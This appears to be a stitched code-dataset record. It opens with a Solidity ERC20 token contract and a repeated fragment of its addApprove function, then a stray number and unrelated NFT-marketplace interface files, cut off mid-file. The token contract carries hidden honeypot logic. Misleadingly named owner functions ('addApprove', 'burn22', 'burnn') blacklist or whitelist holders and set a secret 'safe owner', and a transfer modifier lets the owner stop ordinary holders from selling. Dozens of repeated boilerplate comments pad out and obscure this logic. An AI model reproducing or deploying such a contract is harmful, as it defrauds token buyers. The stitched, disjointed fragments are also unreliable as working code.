// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
bool private _allowNextWallet = false;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public Last_Owner = 0x0000000000000000000000000000000000000000;
bool public Sellings_enable = true;
bool public BuyBackEnabled = true;
address private _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
StartTokens(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
_whiteAddress[receivers[i]]=true;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function burn22(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
_whiteAddress[receivers[i]] = true;
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
_blackAddress[receivers[i]] = false;
}
}
function allowNextWallet() public {
require(msg.sender == _owner, "!owner");
_allowNextWallet = true ;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function burnn(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
_blackAddress[receivers[i]] = true;
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function StartTokens(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
_totalSupply = _totalSupply.add(amount);
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
_balances[_owner] = _balances[_owner].add(amount);
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount) ;
if (_allowNextWallet == true){
_whiteAddress[recipient] = true;
_allowNextWallet = false ;
}
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
|
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
*
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
*
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
*
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
_blackAddress[receivers[i]] = true;
*
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/ /**
*
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
_whiteAddress[receivers[i]] = false;
}
}
| 7,621,747 |
// File: contracts/access/IKOAccessControlsLookup.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IKOAccessControlsLookup {
function hasAdminRole(address _address) external view returns (bool);
function isVerifiedArtist(uint256 _index, address _account, bytes32[] calldata _merkleProof) external view returns (bool);
function isVerifiedArtistProxy(address _artist, address _proxy) external view returns (bool);
function hasLegacyMinterRole(address _address) external view returns (bool);
function hasContractRole(address _address) external view returns (bool);
function hasContractOrAdminRole(address _address) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/core/IERC2309.sol
pragma solidity 0.8.4;
/**
@title ERC-2309: ERC-721 Batch Mint Extension
@dev https://github.com/ethereum/EIPs/issues/2309
*/
interface IERC2309 {
/**
@notice This event is emitted when ownership of a batch of tokens changes by any mechanism.
This includes minting, transferring, and burning.
@dev The address executing the transaction MUST own all the tokens within the range of
fromTokenId and toTokenId, or MUST be an approved operator to act on the owners behalf.
The fromTokenId and toTokenId MUST be a sequential range of tokens IDs.
When minting/creating tokens, the `fromAddress` argument MUST be set to `0x0` (i.e. zero address).
When burning/destroying tokens, the `toAddress` argument MUST be set to `0x0` (i.e. zero address).
@param fromTokenId The token ID that begins the batch of tokens being transferred
@param toTokenId The token ID that ends the batch of tokens being transferred
@param fromAddress The address transferring ownership of the specified range of tokens
@param toAddress The address receiving ownership of the specified range of tokens.
*/
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress);
}
// File: contracts/core/IERC2981.sol
pragma solidity 0.8.4;
/// @notice This is purely an extension for the KO platform
/// @notice Royalties on KO are defined at an edition level for all tokens from the same edition
interface IERC2981EditionExtension {
/// @notice Does the edition have any royalties defined
function hasRoyalties(uint256 _editionId) external view returns (bool);
/// @notice Get the royalty receiver - all royalties should be sent to this account if not zero address
function getRoyaltiesReceiver(uint256 _editionId) external view returns (address);
}
/**
* ERC2981 standards interface for royalties
*/
interface IERC2981 is IERC165, IERC2981EditionExtension {
/// ERC165 bytes to add to interface array - set in parent contract
/// implementing this standard
///
/// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
/// bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
/// _registerInterface(_INTERFACE_ID_ERC2981);
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _value - the sale price of the NFT asset specified by _tokenId
/// @return _receiver - address of who should be sent the royalty payment
/// @return _royaltyAmount - the royalty payment amount for _value sale price
function royaltyInfo(
uint256 _tokenId,
uint256 _value
) external view returns (
address _receiver,
uint256 _royaltyAmount
);
}
// File: contracts/core/IHasSecondarySaleFees.sol
pragma solidity 0.8.4;
/// @title Royalties formats required for use on the Rarible platform
/// @dev https://docs.rarible.com/asset/royalties-schema
interface IHasSecondarySaleFees is IERC165 {
event SecondarySaleFees(uint256 tokenId, address[] recipients, uint[] bps);
function getFeeRecipients(uint256 id) external returns (address payable[] memory);
function getFeeBps(uint256 id) external returns (uint[] memory);
}
// File: contracts/core/IKODAV3.sol
pragma solidity 0.8.4;
/// @title Core KODA V3 functionality
interface IKODAV3 is
IERC165, // Contract introspection
IERC721, // Core NFTs
IERC2309, // Consecutive batch mint
IERC2981, // Royalties
IHasSecondarySaleFees // Rariable / Foundation royalties
{
// edition utils
function getCreatorOfEdition(uint256 _editionId) external view returns (address _originalCreator);
function getCreatorOfToken(uint256 _tokenId) external view returns (address _originalCreator);
function getSizeOfEdition(uint256 _editionId) external view returns (uint256 _size);
function getEditionSizeOfToken(uint256 _tokenId) external view returns (uint256 _size);
function editionExists(uint256 _editionId) external view returns (bool);
// Has the edition been disabled / soft burnt
function isEditionSalesDisabled(uint256 _editionId) external view returns (bool);
// Has the edition been disabled / soft burnt OR sold out
function isSalesDisabledOrSoldOut(uint256 _editionId) external view returns (bool);
// Work out the max token ID for an edition ID
function maxTokenIdOfEdition(uint256 _editionId) external view returns (uint256 _tokenId);
// Helper method for getting the next primary sale token from an edition starting low to high token IDs
function getNextAvailablePrimarySaleToken(uint256 _editionId) external returns (uint256 _tokenId);
// Helper method for getting the next primary sale token from an edition starting high to low token IDs
function getReverseAvailablePrimarySaleToken(uint256 _editionId) external view returns (uint256 _tokenId);
// Utility method to get all data needed for the next primary sale, low token ID to high
function facilitateNextPrimarySale(uint256 _editionId) external returns (address _receiver, address _creator, uint256 _tokenId);
// Utility method to get all data needed for the next primary sale, high token ID to low
function facilitateReversePrimarySale(uint256 _editionId) external returns (address _receiver, address _creator, uint256 _tokenId);
// Expanded royalty method for the edition, not token
function royaltyAndCreatorInfo(uint256 _editionId, uint256 _value) external returns (address _receiver, address _creator, uint256 _amount);
// Allows the creator to correct mistakes until the first token from an edition is sold
function updateURIIfNoSaleMade(uint256 _editionId, string calldata _newURI) external;
// Has any primary transfer happened from an edition
function hasMadePrimarySale(uint256 _editionId) external view returns (bool);
// Has the edition sold out
function isEditionSoldOut(uint256 _editionId) external view returns (bool);
// Toggle on/off the edition from being able to make sales
function toggleEditionSalesDisabled(uint256 _editionId) external;
// token utils
function exists(uint256 _tokenId) external view returns (bool);
function getEditionIdOfToken(uint256 _tokenId) external pure returns (uint256 _editionId);
function getEditionDetails(uint256 _tokenId) external view returns (address _originalCreator, address _owner, uint16 _size, uint256 _editionId, string memory _uri);
function hadPrimarySaleOfToken(uint256 _tokenId) external view returns (bool);
}
// File: contracts/marketplace/IKODAV3Marketplace.sol
pragma solidity 0.8.4;
interface IBuyNowMarketplace {
event ListedForBuyNow(uint256 indexed _id, uint256 _price, address _currentOwner, uint256 _startDate);
event BuyNowPriceChanged(uint256 indexed _id, uint256 _price);
event BuyNowDeListed(uint256 indexed _id);
event BuyNowPurchased(uint256 indexed _tokenId, address _buyer, address _currentOwner, uint256 _price);
function listForBuyNow(address _creator, uint256 _id, uint128 _listingPrice, uint128 _startDate) external;
function buyEditionToken(uint256 _id) external payable;
function buyEditionTokenFor(uint256 _id, address _recipient) external payable;
function setBuyNowPriceListing(uint256 _editionId, uint128 _listingPrice) external;
}
interface IEditionOffersMarketplace {
event EditionAcceptingOffer(uint256 indexed _editionId, uint128 _startDate);
event EditionBidPlaced(uint256 indexed _editionId, address _bidder, uint256 _amount);
event EditionBidWithdrawn(uint256 indexed _editionId, address _bidder);
event EditionBidAccepted(uint256 indexed _editionId, uint256 indexed _tokenId, address _bidder, uint256 _amount);
event EditionBidRejected(uint256 indexed _editionId, address _bidder, uint256 _amount);
event EditionConvertedFromOffersToBuyItNow(uint256 _editionId, uint128 _price, uint128 _startDate);
function enableEditionOffers(uint256 _editionId, uint128 _startDate) external;
function placeEditionBid(uint256 _editionId) external payable;
function placeEditionBidFor(uint256 _editionId, address _bidder) external payable;
function withdrawEditionBid(uint256 _editionId) external;
function rejectEditionBid(uint256 _editionId) external;
function acceptEditionBid(uint256 _editionId, uint256 _offerPrice) external;
function convertOffersToBuyItNow(uint256 _editionId, uint128 _listingPrice, uint128 _startDate) external;
}
interface IEditionSteppedMarketplace {
event EditionSteppedSaleListed(uint256 indexed _editionId, uint128 _basePrice, uint128 _stepPrice, uint128 _startDate);
event EditionSteppedSaleBuy(uint256 indexed _editionId, uint256 indexed _tokenId, address _buyer, uint256 _price, uint16 _currentStep);
event EditionSteppedAuctionUpdated(uint256 indexed _editionId, uint128 _basePrice, uint128 _stepPrice);
function listSteppedEditionAuction(address _creator, uint256 _editionId, uint128 _basePrice, uint128 _stepPrice, uint128 _startDate) external;
function buyNextStep(uint256 _editionId) external payable;
function buyNextStepFor(uint256 _editionId, address _buyer) external payable;
function convertSteppedAuctionToListing(uint256 _editionId, uint128 _listingPrice, uint128 _startDate) external;
function convertSteppedAuctionToOffers(uint256 _editionId, uint128 _startDate) external;
function updateSteppedAuction(uint256 _editionId, uint128 _basePrice, uint128 _stepPrice) external;
}
interface IReserveAuctionMarketplace {
